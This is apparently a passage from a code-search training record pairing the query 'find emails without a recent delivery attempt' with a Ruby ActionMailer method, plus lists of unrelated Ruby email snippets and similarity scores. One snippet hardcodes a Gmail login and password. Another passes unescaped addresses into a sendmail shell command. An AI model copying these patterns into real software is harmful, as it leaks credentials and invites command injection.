"def send(reports)\n tagmail_conf = self.class.instance_variable_get(:@tagmail_conf)\n # Run the notification process in a new non-blocking thread\n\n # Starting a new thread has been commented out as it causes conflict with IO.popen, where the thread just dies\n # after the first run.\n # Thread.new {\n if tagmail_conf[:smtpserver] && tagmail_conf[:smtpserver] != 'none'\n begin\n Net::SMTP.start(tagmail_conf[:smtpserver], tagmail_conf[:smtpport], tagmail_conf[:smtphelo]) do |smtp|\n reports.each do |emails, messages|\n smtp.open_message_stream(tagmail_conf[:reportfrom], *emails) do |p|\n p.puts \"From: #{tagmail_conf[:reportfrom]}\"\n p.puts \"Subject: Puppet Report for #{host}\"\n p.puts 'To: ' + emails.join(', ')\n p.puts \"Date: #{Time.now.rfc2822}\"\n p.puts\n p.puts messages\n end\n end\n end\n rescue StandardError => detail\n message = \"Could not send report emails through smtp: #{detail}\"\n Puppet.log_exception(detail, message)\n raise Puppet::Error, message, detail.backtrace\n end\n else\n begin\n reports.each do |emails, messages|\n email = Tempfile.new('tagmail')\n begin\n email.write(\"From: #{tagmail_conf[:reportfrom]}\\n\")\n email.write(\"Subject: Puppet Report for #{host}\\n\")\n email.write(\"To: #{emails.join(', ')}\\n\\n\")\n email.write(messages)\n email.rewind\n Puppet::Util::Execution.execute(\"#{tagmail_conf[:sendmail]} #{emails.join(' ')} < #{email.path}\")\n ensure\n email.close\n email.unlink\n end\n end\n rescue StandardError => detail\n message = \"Could not send report emails via sendmail: #{detail}\"\n Puppet.log_exception(detail, message)\n raise Puppet::Error, message, detail.backtrace\n end\n end\n # }\n end",
"def send_email_to_master\n\n\tend",
"def fetch_mail\n# \tp \"Fetching mail...\"\n \tconfig = { :host => 'imap.gmail.com', :port => 993, :username => 'CrowdAssistant', :password => 'CrowdAss'}\n \timap = Net::IMAP.new(config[:host], config[:port], true)\n \timap.login(config[:username], config[:password])\n \timap.select(\"INBOX\")\n \tmessages_to_archive = []\n \timap.search([\"NOT\", \"DELETED\"]).each do |message_id|\n \t\ttask = imap.fetch(message_id, 'BODY[TEXT]')[0].attr['BODY[TEXT]']\n \t\tmessage = imap.fetch(message_id, 'ENVELOPE')[0].attr['ENVELOPE']\n \t\tfrom = \"#{message.sender[0].mailbox}@#{message.sender[0].host}\"\n# p from\n \t\tu = User.find_by_email(from)\n# p u\n \t\tif u\n\t \t\t#Why does an empty resource and resourcetype fail?\n task = task.gsub(\"=\\r\\n\", \"\")\n\t \t\tt = Task.create(:user_id => u.id, :instructions => task, :fields => \"[{\\\"Reply\\\":\\\"t\\\"}]\", :priority => 2, :workflow => \"p\", :redundancy => 2, :resource => \"www.google.com\", :resourcetype => \"l\", :status=>\"Not Started\")\n\t \t\tAssistant.handle(t)\n\t \telse\n#\t \t\tp \"Whoops, some dude who hasn't signed up sent us an email\"\n\t \tend\n \t\tmessages_to_archive << message_id\n \tend\n \timap.store(messages_to_archive, \"+FLAGS\", [:Deleted]) unless messages_to_archive.empty?\n end",
"def canceled\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def send_activation\n if email_changed? and enable_mailer\n activated = false\n UserMailer.welcome_email(self, host).deliver\n end\n end",
"def notify\n if Backup::Mail::Base.setup?\n Backup::Mail::Base.notify!(self)\n end\n end",
"def send_signup_notification\n deliver_activation_email(:signup, :subject => (MaSA[:activation_subject] || \"Please Activate Your Account\") )\n end",
"def send_newsletter_email\n UserMailer.newsletter_confirmation(self).deliver_later\n end",
"def email_for_no_pto(full_name, pto, pto_type) \n Mail.defaults do\n delivery_method :smtp,\n address: \"email-smtp.us-east-1.amazonaws.com\",\n port: 587,\n :user_name => ENV['a3smtpuser'],\n :password => ENV['a3smtppass'],\n :enable_ssl => true\n end\n email_body = \"#{full_name[0]} #{full_name[1]} tried to request #{pto_type}and they have #{pto}PTO days left to request.<a href= 'https://wv-timesheet-clock.herokuapp.com/'> To Reply Click Here . </a>\"\n mail = Mail.new do\n from ENV['from']\n to 'wvtimeclockdev@gmail.com'\n subject \"PTO Request with no days to request\"\n \n html_part do\n content_type 'text/html'\n body email_body\n end\n end\n mail.deliver!\nend"
] |
[
"0.64096594",
"0.63046896",
"0.6223968",
"0.62049866",
"0.6156373",
"0.6145265",
"0.61095536",
"0.60964656",
"0.60909075",
"0.6068805",
"0.60578275",
"0.6021855",
"0.6006213",
"0.5970235",
"0.5966186",
"0.5963216",
"0.593195",
"0.59213984",
"0.59100145",
"0.59066373",
"0.58961666",
"0.5886923",
"0.58696806",
"0.58672154",
"0.58516246",
"0.5850727",
"0.58476937",
"0.58348113",
"0.5823097",
"0.58087337",
"0.5807935",
"0.58065736",
"0.57952726",
"0.5788288",
"0.5777701",
"0.5763596",
"0.5761641",
"0.5747618",
"0.5724018",
"0.5712926",
"0.5709497",
"0.5706772",
"0.5700761",
"0.5697647",
"0.5695954",
"0.56888646",
"0.5683097",
"0.5670962",
"0.56708515",
"0.5669758",
"0.5663573",
"0.5653719",
"0.5650838",
"0.5649397",
"0.5648745",
"0.56472933",
"0.56456536",
"0.56442773",
"0.56423944",
"0.5639014",
"0.5638598",
"0.56337917",
"0.563296",
"0.56280184",
"0.5621307",
"0.5620965",
"0.5617491",
"0.56174487",
"0.55776703",
"0.55752194",
"0.55744576",
"0.5565426",
"0.55649555",
"0.5564609",
"0.5555365",
"0.5555072",
"0.5554569",
"0.55515367",
"0.55409783",
"0.55396885",
"0.5537611",
"0.5536539",
"0.5534458",
"0.55301785",
"0.55219233",
"0.5521835",
"0.5521835",
"0.5521835",
"0.5521835",
"0.5521481",
"0.55184084",
"0.5509123",
"0.5507592",
"0.5503942",
"0.55029917",
"0.54995525",
"0.54978615",
"0.5494015",
"0.54923916",
"0.5490558",
"0.5486335"
] |
0.0
|
-1
|
Returns emails in email_class that haven't had a delivery attempt in the last 300 seconds.
|
def find_emails
options = { :conditions => ['last_send_attempt < ?', Time.now.to_i - 300] }
options[:limit] = batch_size unless batch_size.nil?
mail = ActionMailer::Base.email_class.find :all, options
log "found #{mail.length} emails to send"
mail
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cleanup\n return if @max_age == 0\n timeout = Time.now - @max_age\n conditions = ['last_send_attempt > 0 and created_on < ?', timeout]\n mail = ActionMailer::Base.email_class.destroy_all conditions\n\n log \"expired #{mail.length} emails from the queue\"\n end",
"def failed_email_delivery_contacts\n \n failed_email_delivery_contacts = Array.new \n \n mailout_contacts.each do |mc|\n failed_email_delivery_contacts.push(mc) if !mc.delivery_timestamp.blank? && mc.delivery_failed\n end\n \n return failed_email_delivery_contacts\n end",
"def notify_not_delivered\n @not_delivered = not_delivered\n\n emails = Settings.first.notify_scans_not_delivered_to\n\n if !@not_delivered.empty? && emails.any?\n ScanMailer.notify_not_delivered(emails, @not_delivered).deliver_later\n else\n false\n end\n end",
"def tasks_expired_warning\n user = User.joins(:tasks).take\n\n NotifierMailer.tasks_expired_warning user, user.tasks.limit(3)\n end",
"def findings_expired_warning\n user = User.joins(:findings).take\n\n NotifierMailer.findings_expired_warning user, user.findings.limit(3)\n end",
"def notify_uncompleted_delivery\n deliveries = @arguments[:deliveries]\n\n if deliveries.any? && (emails = Settings.first.notify_scans_not_delivered_to).any?\n ScanMailer.notify_uncompleted_delivery(emails, deliveries).deliver_later\n else\n false\n end\n end",
"def shutdown_more_emails_sent_than_defined_in_user_profile?\n notifications_delivered > notifications_for_shutdown\n end",
"def expired_users_with_email\n @expired_users_with_email ||= User.expired.where.not(email: nil)\n end",
"def unread_unsent_notifications\n @unread_unsent_notifications ||= notification.class.for_target(notification.target)\n .joins(:deliveries)\n .where.not(id: notification.id)\n .where('notify_user_notifications.read_at IS NULL AND notify_user_deliveries.sent_at IS NULL')\n end",
"def unexpired_discounts(time)\n discounts.select { |discount| !discount.expired? time }\n end",
"def not_delivered\n PeriodDocument.scanned.where(\"scanned_at >= ?\", 30.days.ago).select do |scan|\n result = false\n\n temp_pack = TempPack.where(name: scan.name).first\n\n if temp_pack\n # NOTE minus 10 days because PPP delivers a few days before entering the information inside iDocus\n result = temp_pack.temp_documents.scan.where(\"created_at >= ?\", scan.scanned_at-10.days).empty?\n else\n result = true\n end\n\n print (result ? '!' : '.')\n\n result\n end.map(&:name)\n end",
"def findings_expiration_warning\n user = User.joins(:findings).take\n\n NotifierMailer.findings_expiration_warning user, user.findings.limit(3)\n end",
"def tasks_expiration_warning\n user = User.joins(:tasks).take\n\n NotifierMailer.tasks_expiration_warning user, user.tasks.limit(3)\n end",
"def resend_activation_emails\n User.where.not(person: nil).where.not(activation_code: nil).each do |user|\n if user.person\n logs = user.person.activation_email_logs\n if logs.count < MAX_ACTIVATION_EMAILS && (logs.empty? || logs.last.created_at < RESEND_ACTIVATION_EMAIL_DELAY.ago)\n Mailer.activation_request(user).deliver_later\n MessageLog.log_activation_email(user.person)\n end\n else\n Rails.logger.info(\"User with invalid person - #{user.id}\")\n end \n end\n end",
"def not_sent\n @collection.reject(&:sent?)\n end",
"def shutdown_less_emails_sent_than_defined_in_user_profile?\n notifications_delivered < notifications_for_shutdown\n end",
"def capture_emails(&block)\n original_count = ActionMailer::Base.deliveries.size\n deliver_enqueued_emails(&block)\n new_count = ActionMailer::Base.deliveries.size\n diff = new_count - original_count\n ActionMailer::Base.deliveries.last(diff)\n end",
"def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end",
"def clear_emails\n ActionMailer::Base.deliveries = []\n end",
"def remove_invalid_emails\n notification_emails.each do |email|\n if !email.valid?\n notification_emails.delete email\n end\n end\n end",
"def missing_list\n list = []\n regular_workers.each do |w|\n if w.sum_time_in_seconds(DateTime.now - 14.days, DateTime.now) == 0\n list << w\n end\n end\n return list\n end",
"def destroy_less_emails_sent_than_defined_in_user_profile?\n notifications_delivered < notifications_for_destroy\n end",
"def missing_list\n list = []\n active_workers.each do |w|\n if w.sum_time_in_seconds(DateTime.now - 14.days, DateTime.now) == 0\n list << w\n end\n end\n return list\n end",
"def available_emails\n sent_emails = StudioEmail.sent_to(self).collect(&:email_name).collect(&:to_sym)\n Notifier.studio_emails - sent_emails\n end",
"def find_pending\n notifications.where sent: false\n end",
"def get_mails()\n emails = Mail.find(:what => :first, :count => 20, :order => :asc)\n relevant = filter_mails emails\n parse_mails relevant\n end",
"def destroy_if_no_non_spam_email?\n mails.all? { |mail| mail.spam }\n end",
"def findings_unanswered_warning\n user = User.joins(:findings).take\n\n NotifierMailer.findings_unanswered_warning user, user.findings.limit(3)\n end",
"def flush_error_emails(args = {})\n @error_emails_pending_mutex.synchronize do\n send_time_older_than = Time.new.to_i - @error_emails_time\n \n @error_emails_pending.each do |backtrace_hash, error_email|\n if !args[:ignore_time] and send_time_older_than < error_email[:last_time].to_i and error_email[:messages].length < 1000\n next\n end\n \n @config[:error_report_emails].each do |email|\n next if !email or error_email[:messages].length <= 0\n \n if error_email[:messages].length == 1\n html = error_email[:messages].first\n else\n html = \"<b>First time:</b> #{Datet.in(error_email[:first_time]).out}<br />\"\n html << \"<b>Last time:</b> #{Datet.in(error_email[:last_time]).out}<br />\"\n html << \"<b>Number of errors:</b> #{error_email[:messages].length}<br />\"\n count = 0\n \n error_email[:messages].each do |error_msg|\n count += 1\n \n if count > 10\n html << \"<br /><br /><b><i>Limiting to showing 10 out of #{error_email[:messages].length} messages.</i></b>\"\n break\n end\n \n html << \"<br /><br />\"\n html << \"<b>Message #{count}</b><br />\"\n html << error_msg\n end\n end\n \n self.mail(\n :to => email,\n :subject => error_email[:subject],\n :html => html,\n :from => @config[:error_report_from]\n )\n end\n \n @error_emails_pending.delete(backtrace_hash)\n end\n end\n end",
"def minimum_time_passed_since_last_warning_email?\n return true if user.last_notif_email_sent.nil?\n hours_since_last_email >= MIN_HOURS_BETWEEN_EMAILS\n end",
"def index\n @delayed_emails = @email_account.delayed_emails\n end",
"def latest_mail(options = {})\n return only_latest(mail(options))\n end",
"def check_safetynet_window\n # Skip check if email is already stopped\n return false if mail.perform_deliveries == false\n\n channel = self.class.safetynet_channel\n options = self.class.safetynet_options\n method = action_name\n limit = options[channel][:limit]\n timeframe = options[channel][:timeframe]\n\n # Update the mail.to array with those who are whitelisted and permitted\n mail.to = mail.to.keep_if do |email|\n next true if is_whitelisted?(email)\n permit_delivery?(email, channel, method, limit, timeframe)\n end\n\n permit_delivery = mail.to.any?\n\n if channel == :email\n mail.perform_deliveries = permit_delivery\n end\n permit_delivery\n end",
"def clean_for_period(future_period, notification_times)\n future_period.notifications.all.each do |existing_notification|\n unless notification_times.include?(existing_notification.time.utc)\n existing_notification.delete\n end\n end\n end",
"def expired_finding_to_manager_notification\n conditions = { state: Finding::STATUS[:being_implemented] }\n users = User.joins(:findings).merge(Finding.where(conditions)).limit(1)\n finding = users.take.findings.where(conditions).take\n\n NotifierMailer.expired_finding_to_manager_notification finding, users, 0\n end",
"def skip_email_changed_notification!; end",
"def incomplete_recipients\n DynamicModel::ZeusBulkMessageRecipient\n .unscoped\n .select('zeus_bulk_message_recipients.*')\n .joins(\"INNER JOIN zeus_bulk_messages ON zeus_bulk_message_recipients.zeus_bulk_message_id = zeus_bulk_messages.id\n AND zeus_bulk_messages.channel = 'sms'\n AND zeus_bulk_messages.status = 'sent'\n \")\n .joins('LEFT OUTER JOIN zeus_bulk_message_statuses ON zeus_bulk_message_statuses.zeus_bulk_message_recipient_id = zeus_bulk_message_recipients.id')\n .where(\"zeus_bulk_message_recipients.response is not null\n and zeus_bulk_message_recipients.response LIKE '[{\\\"aws_sns_sms_message_id\\\":%'\n and zeus_bulk_message_recipients.disabled = false\")\n .where(\"zeus_bulk_message_statuses.id IS NULL or zeus_bulk_message_statuses.status = 'retrying'\")\n .where(['zeus_bulk_messages.updated_at > ?', (DateTime.now - 10.days)])\n .order('zeus_bulk_message_recipients.created_at asc')\n end",
"def assert_no_enqueued_emails(&block)\n assert_enqueued_emails 0, &block\n end",
"def client_tasks_overdue\n self.find_all {|e| (e.completed.nil? or !e.completed) and e.complete_by < Time.zone.now }\n end",
"def dead_lettering_on_message_expiration\n to_bool description['DeadLetteringOnMessageExpiration']\n end",
"def missed\n EventMailer.missed\n end",
"def scheduled_emails\n @chat_history = EmailConversation.where(\"sender_id = #{current_user.id} AND sent_date is not null\")\n end",
"def receives_emails_for\n recips = user.things_i_track.email_delivery.tracked_item_is_user.map(&:tracked_item_id)\n recips = User.find(:all, :conditions => {:id => recips}) unless recips.blank?\n return recips.uniq.select {|u| user.is_self_or_owner?(u)}\n end",
"def members_not_responding\n memb = sent_messages.map { |sm| (sm.msg_status || -1) < MessagesHelper::MsgDelivered ? sm.member : nil }.compact\n end",
"def remove_invalid_expirations(exps)\n exps.keep_if(&:in_expiration_interval?)\n end",
"def reset_expired?\n\t\treset_sent_at > 3.hours.ago\n\tend",
"def unacknowledged(seconds)\n @test_time = @time if @test_time.nil?\n @alert &&\n @alert.raised? &&\n !@alert.acknowledged? &&\n (@test_time - @alert.raised_at) >= seconds\n end",
"def no_spamming\n cnt = user\n .submitted_urls\n .where('created_at > ?', 1.minutes.ago)\n .count\n\n errors.add(:no_spamming, \"can't submit more than 5 urls / minute\") if cnt >= 5\n end",
"def find_all_expired(options={})\n find(:all, find_options_for_expired(options))\n end",
"def to_deliver_not_unique?\n list = self.class.where(to: to).map { |x| x.sendable_id }\n deliver = Sms.where(:id => [list], :to_deliver => to_deliver)\n return true if deliver.size > 0\n false\n end",
"def unregistered_events\n tournament\n .schedules\n .keep_if { |s| s.is_scheduled_online? && s.division == division } -\n sign_ups.map{|x| x.try(:timeslot).try(:schedule) }\n end",
"def suppress(options = {})\n response = self.class.query('Contact_Suppress', options.merge({\n :email => email,\n :on_timeout => false,\n :on_error => false,\n :on_success => Proc.new { |r| r }\n }))\n\n if response\n self.status = 'suppressed'\n end\n\n response\n end",
"def recent_notifications(lower_limit=10, upper_limit=25)\n if unviewed_notifications.count < lower_limit\n notifications.limit(lower_limit)\n else\n unviewed_notifications.limit(upper_limit)\n end\n end",
"def assert_did_not_send_email\n msg = \"Sent #{ActionMailer::Base.deliveries.size} emails.\\n\"\n ActionMailer::Base.deliveries.each { |m| msg << \" '#{m.subject}' sent to #{m.to.to_sentence}\\n\" }\n assert ActionMailer::Base.deliveries.empty?, msg\n end",
"def snow_emergency_in_effect\n ret = false\n\n imap = Net::IMAP.new('imap.gmail.com', { :port => 993, :ssl => true })\n imap.login('canhazparking', 'yesIcanz!');\n imap.select('INBOX')\n imap.search([\"SUBJECT\", \"Snow emergency\", \"SENTSINCE\", (Time.now - 1).strftime(\"%d-%b-%Y\")]).each do |msgid|\n ret = true\n break\n end\n\n imap.logout()\n imap.disconnect()\n\n return ret\nend",
"def deliver_unsent_mails\n task = MailTasks::Task.find(params[:id], :conditions => ['disabled = ?', false])\n # task.update_attribute(:disabled, true) unless task.disabled? # lock\n task_in_background('mail_tasks:deliver_unsent_mails', :task_id => task.id)\n flash[:notice] = \"Delivering #{task.mails.count} mails, refresh this page minutes later.\"\n redirect_to :back\n end",
"def nominations_reminder_3_days_left(email:)\n user = User.find_by!(email: email)\n\n if user.reservations.none?\n return\n end\n\n account_numbers = account_numbers_from(user.reservations)\n conzealand = conzealand_memberships.where(reservations: {id: user.reservations}).any?\n\n if account_numbers.count == 1 && conzealand\n subject = \"Hugo Nominations Close in 3 Days! for member #{account_numbers.first}\"\n elsif conzealand\n subject = \"Hugo Nominations Close in 3 Days! for members #{account_numbers.to_sentence}\"\n elsif account_numbers.count == 1\n subject = \"Hugo Nominations Close in 3 Days! for account #{account_numbers.first}\"\n else\n subject = \"Hugo Nominations Close in 3 Days! for accounts #{account_numbers.to_sentence}\"\n end\n\n @details = Detail.where(claim_id: user.active_claims)\n\n mail(to: user.email, from: \"hugohelp@conzealand.nz\", subject: subject)\n end",
"def send_batch_unopened_notification_email(options = {})\n unopened_notification_index_map = notification_index_map(options.merge(filtered_by_status: :unopened))\n mailer_options = options.select { |k, _| [:send_later, :fallback, :batch_key].include?(k) }\n unopened_notification_index_map.map { |target, notifications|\n [target, Notification.send_batch_notification_email(target, notifications, mailer_options)]\n }.to_h\n end",
"def within_expiration_only(expiry_delay)\n where('created_at.gt': expiry_delay.ago)\n end",
"def has_unopened_notifications?(options = {})\n _unopened_notification_index(options).exists?\n end",
"def transient_registrations_to_remove\n WasteCarriersEngine::TransientRegistration.where(\n \"created_at\" => { \"$lt\" => oldest_possible_date },\n \"workflow_state\" => { \"$nin\" => WasteCarriersEngine::RenewingRegistration::SUBMITTED_STATES }\n )\n end",
"def polled_delivery( recipient_email , pending_deliveries )\n @recipient_email = recipient_email \n @user = User.find_by_email @recipient_email \n @pending_deliveries = pending_deliveries\n time = Time.now\n \n mail( :to => recipient_email, \n :subject => \"pilipoto | Updates (#{pending_deliveries.count}): #{time}\", \n :bcc => [\"rajakuraemas@gmail.com\"] )\n \n end",
"def responding_messages_delivery_with_no_responses(channel = nil, channel_group = nil)\n delivery_notices = DeliveryNotice.includes(:message)\n delivery_notices = delivery_notices.where(channel: channel) if channel\n delivery_notices = delivery_notices.where(channel_group: channel_group) if channel_group\n delivery_notices.where(subscriber_id: potential_subscriber_ids)\n .where(tparty_identifier: to_phone)\n .where(\"messages.type\" => Message.responding_message_types)\n .order(:created_at)\n .select { |dn|\n last_sr = dn.message.subscriber_responses.order(:created_at).last\n last_sr.nil? || last_sr.created_at < dn.created_at\n }\n end",
"def receive_emails_for!(ids)\n return nil if user.project? \n project_ids = user.projects.map(&:id) + [user.id]\n tracked_ids = receives_emails_for.map(&:id)\n \n # Remove trackings to projects user no longer follows, or no longer owns\n dead_ids = tracked_ids.select{|t| !project_ids.include?(t) || (ids.nil? || !ids.include?(t))}\n Tracking::EmailDelivery.delete_all [\"tracked_item_type='User' and tracked_item_id in (#{dead_ids.join(',')}) and tracking_user_id=?\", user.id] unless dead_ids.empty?\n \n return nil if ids.nil?\n \n # Add trackings that don't already exist\n ids.uniq.each do |pid|\n pid = pid.id if pid.is_a?(User)\n if project_ids.include?(pid.to_i) && !tracked_ids.include?(pid)\n Tracking::EmailDelivery.create(:tracking_user_id => user.id, :tracked_item_type => 'User', :tracked_item_id => pid)\n end\n end\n return receives_emails_for\n end",
"def ungraded_attempts\n @attempts.select { |x| x.ungraded? }\n end",
"def deliver(emails)\n settings = [\n smtp_settings[:domain],\n (smtp_settings[:user] || smtp_settings[:user_name]),\n smtp_settings[:password],\n smtp_settings[:authentication]\n ]\n\n smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])\n if smtp.respond_to?(:enable_starttls_auto)\n smtp.enable_starttls_auto unless smtp_settings[:tls] == false\n else\n settings << smtp_settings[:tls]\n end\n\n smtp.start(*settings) do |session|\n @failed_auth_count = 0\n until emails.empty? do\n email = emails.shift\n begin\n res = session.send_message email.mail, email.from, email.to\n email.destroy\n log \"sent email %011d from %s to %s: %p\" %\n [email.id, email.from, email.to, res]\n rescue Net::SMTPFatalError => e\n log \"5xx error sending email %d, removing from queue: %p(%s):\\n\\t%s\" %\n [email.id, e.message, e.class, e.backtrace.join(\"\\n\\t\")]\n email.destroy\n session.reset\n rescue Net::SMTPServerBusy => e\n log \"server too busy, stopping delivery cycle\"\n return\n rescue Net::SMTPUnknownError, Net::SMTPSyntaxError, TimeoutError, Timeout::Error => e\n email.last_send_attempt = Time.now.to_i\n email.save rescue nil\n log \"error sending email %d: %p(%s):\\n\\t%s\" %\n [email.id, e.message, e.class, e.backtrace.join(\"\\n\\t\")]\n session.reset\n end\n end\n end\n rescue Net::SMTPAuthenticationError => e\n @failed_auth_count += 1\n if @failed_auth_count >= MAX_AUTH_FAILURES then\n log \"authentication error, giving up: #{e.message}\"\n raise e\n else\n log \"authentication error, retrying: #{e.message}\"\n end\n sleep delay\n rescue Net::SMTPServerBusy, SystemCallError, OpenSSL::SSL::SSLError\n # ignore SMTPServerBusy/EPIPE/ECONNRESET from Net::SMTP.start's ensure\n end",
"def receive_emails_pop\n self.config_emails.each do |config_email|\n case (config_email.server_email)\n when 'pop.gmail.com'\n Net::POP3.enable_ssl(OpenSSL::SSL::VERIFY_NONE)\n else\n \"\"\n end\n Net::POP3.start(config_email.server_email, config_email.port, config_email.username, ConfigEmail.decryption(config_email.password_encrypted)) do |pop|\n if pop.mails.empty?\n puts 'No mails.'\n else\n pop.each_mail do |mail|\n UserMailer.current_vendor_config_email(config_email)\n UserMailer.receive(mail.pop)\n mail.delete\n end\n pop.finish\n end\n end\n end\n end",
"def stale_notification\n user = User.joins(:notifications).merge(Notification.not_confirmed).take\n\n NotifierMailer.stale_notification user\n end",
"def missed_contacts\n @contacts.where(contact_type: 'PBX', answered: nil, after_call_ended: nil, direction: 'I').where.not(call_ended: nil, service_id: 120)\n end",
"def send_expired_alert(agency)\n setup_email\n for u in agency.users\n recipients << u.email\n end\n subject \"Your ClockOff.com trial period has expired\"\n body[:agency] = agency\n end",
"def days_without_time_tracked(look_back = 1.week)\n raise ArgumentError, 'look_back must be at least 1 day' if look_back < 1.day\n return [] if archived?\n results = []\n dates = (look_back.ago.to_date..Date.today - 1).map(&:to_date).reject{ |d| d.saturday? || d.sunday? }\n dates.each do |date|\n results << date if timings.submitted_timings.where(started_at: date.beginning_of_day...date.end_of_day).blank?\n end\n results\n end",
"def index\n @emails = Email.not_archived.order('updated_at DESC').all\n end",
"def unanswered_finding_notification\n conditions = { state: Finding::STATUS[:unanswered] }\n user = User.joins(:findings).merge(Finding.where(conditions)).take\n\n NotifierMailer.unanswered_finding_notification user, user.findings.find_by(conditions)\n end",
"def notify_member_expire_7\n users, event = User.unpaid_membership_expires_in_7_days\n users.each do |user|\n UserMailer.deliver_membership_expires_in_7_days(user)\n User.add_email_event(user, event)\n end\n end",
"def mail_should_not_be_sent\n email = ActionMailer::Base.deliveries.pop\n expect(email.present?).to be false\nend",
"def filter_invalid_emails(emails)\n invalid_emails = ['hi@gmail.cm', 'asdasd']\n emails.select{|email| !invalid_emails.include? email.strip.downcase}\n end",
"def purge\n t = Time.now\n expired = []\n @queue.each do |identity,worker|\n expired << identity if t > worker.expiry\n end\n expired.each do |identity|\n @queue.delete identity\n end\n end",
"def verify_email\n # remove any notice(s) for past email addresses\n pending_notices.all({ :data.not => self.email, type: 'email' }).destroy\n\n unless n = pending_notices.first_or_create({ data: self.email, type: 'email' })\n errors.add :notices, n.collect_errors\n throw :halt\n end\n\n n\n end",
"def send_self_eval_reminders\n users = User.all.select{|u| u.has_current_registration && u.current_registration.participant && !u.current_registration.has_complete_eval}\n @sent = []\n users.each do |u| \n if u.bounced_at \n Rails.logger.error(\"Found bounced email #{u.email} in sending self eval_reminder\")\n else\n begin\n RegistrationMailer.self_eval_reminder(u)\n puts(\"Succeed on #{u.email}\")\n @sent << u.email\n rescue => e\n puts(\"Failed on #{u.email}\")\n Rails.logger.error(\"Send eval throws #{e}, skipping #{u.email}\")\n end\n end\n end\n end",
"def test_deliver_failed\n # Setup the mailer.\n ActionMailer::Base.delivery_method = :test\n ActionMailer::Base.perform_deliveries = true\n ActionMailer::Base.deliveries = []\n initial_mbox_length = ActionMailer::Base.deliveries.length\n\n @order.deliver_failed \n\n # We should have received a mail about that.\n assert_equal ActionMailer::Base.deliveries.length, initial_mbox_length + 1\n end",
"def no_spamming\n created_urls = submitter.submitted_urls\n num_of_recent_urls = created_urls\n .where('created_at > ?', 1.minute.ago)\n .count\n\n raise \"Cannot create more than 5 shortened links in a minute!\" if num_of_recent_urls >= 5 \n end",
"def pending_objects\n # Object.where('some_status IS NOT NULL AND my_email_sent_at IS NULL')\n []\n end",
"def timeout_check( time )\n ret = []\n @sessions.each_key do |key|\n if @sessions[key].closed? time, @options[:udp_timeout]\n ret << format_udp_info( @sessions[key] )\n @sessions.delete key\n end\n end\n ret\n end",
"def calculate_recipients\n # TODO (Step 3) - Fix, not working\n SUBSCRIBERS.filter do |email|\n !UNSUBSCRIBED.include?(email)\n end\nend",
"def check_daily_message_limit\n flood_limit = ConfigurationSetting.get_setting( 'DailyPrivateMessageLimit' ).to_i\n today = Date.today.strftime('%Y-%m-%d')\n if not current_user.sent_private_messages.with_date(today).all.size <= flood_limit \n flash[:warning] = \"You have already sent the maximum of \" + flood_limit.to_s + \" messages for the day.\"\n redirect_to private_messages_path\n end\n end",
"def failed_tasks\n each_task.select do |task|\n task.status == :failed\n end\n end",
"def failed_tasks\n @failed_tasks ||= @tasks_results.select(&:failure?)\n end",
"def ageoff\n messages.reject! { |m| m.expired? }\n\n claims.keys.dup.each do |id|\n claim = claims[id]\n if claim.expired? || claim.messages.empty?\n claim.messages.each { |m| m.claim = nil }\n claims.delete(id)\n end\n end\n end",
"def non_existent_notifications\n source_project.notification_settings\n .select(:id)\n .where.not(user_id: users_in_target_project)\n end",
"def mail_unread\n initialize_mocks if @fake\n\n service = Google::Apis::Core::BaseService.new('https://mail.google.com/', 'mail/feed/atom/')\n service.authorization = user_authorization\n service.http(:get, 'https://mail.google.com/mail/feed/atom/')\n end",
"def unread_notifications\n notifications_received.where('activities.created_at > ?', notifications_checked_at)\n end",
"def email_sent_at(category)\r\n emails = self.email_logs.select {|e| e.category == category}\r\n emails.collect {|e| e.created_at}.sort.last\r\n end",
"def unanswered_finding_to_manager_notification\n conditions = { state: Finding::STATUS[:unanswered] }\n users = User.joins(:findings).merge(Finding.where(conditions)).limit(1)\n finding = users.take.findings.where(conditions).take\n\n NotifierMailer.unanswered_finding_to_manager_notification finding, users, 1\n end",
"def prune_responses_queue\n while !responses_queue.empty?\n message_id = responses_queue.first\n\n if responses[message_id].nil? || Time.now - responses[message_id].timestamp.to_time > 2.minutes\n responses_queue.shift\n responses.delete(message_id)\n else\n break\n end\n end\n end",
"def get_email_text(search_array, timeout=600, delete=true, since_sec=3600)\n # Only look for emails that have come in since the last hour\n since = Time.now - since_sec\n imap_search_terms = search_array.dup.push(\"SINCE\", since.strftime('%d-%b-%Y'))\n @log.debug(\"Searching for email with query: #{imap_search_terms}\")\n\n super imap_search_terms, timeout, delete, since_sec\n end",
"def can_send_mail\n month_emails = self.mails_by_month(Time.now.month)\n if(month_emails.count < self.setting_email_count_month )\n return true if month_emails.count == 0\n last_email_sent = month_emails.first.created_at\n (mail_duration(last_email_sent) >= self.setting_email_duration) ? true : false\n else\n false\n end\n end",
"def emailable_records(records, email_format)\n @emailable_records ||= records.collect{ |record| emailable_record(record, email_format) }\n end",
"def check_queue\n # The interesting options hash for our new work query\n check = {\n :deliver_at => {'$lte' => Time.now.utc},\n :result => {'$exists' => false},\n :locked => {'$exists' => false}\n }\n Candygram.queue.find(check).to_a\n end",
"def notified_watchers\n notified = (watcher_users.active + watcher_users_through_groups.active).uniq\n notified.reject! {|user| user.mail.blank? || user.mail_notification == 'none'}\n if respond_to?(:visible?)\n notified.reject! {|user| !visible?(user)}\n end\n notified\n end",
"def emails\n ActionMailer::Base.cached_deliveries\n end"
] |
[
"0.6338834",
"0.62829703",
"0.6016158",
"0.59370136",
"0.59082866",
"0.59031725",
"0.5732845",
"0.5668763",
"0.56676126",
"0.56510174",
"0.5649144",
"0.5623214",
"0.56188136",
"0.5539433",
"0.5513033",
"0.548464",
"0.547614",
"0.5413971",
"0.5383844",
"0.5371349",
"0.5368477",
"0.5344672",
"0.53144264",
"0.5311612",
"0.5306617",
"0.530298",
"0.5298653",
"0.5271956",
"0.52567023",
"0.51850766",
"0.5180205",
"0.5169568",
"0.51694876",
"0.5167652",
"0.51540345",
"0.51521266",
"0.515093",
"0.51417994",
"0.51416105",
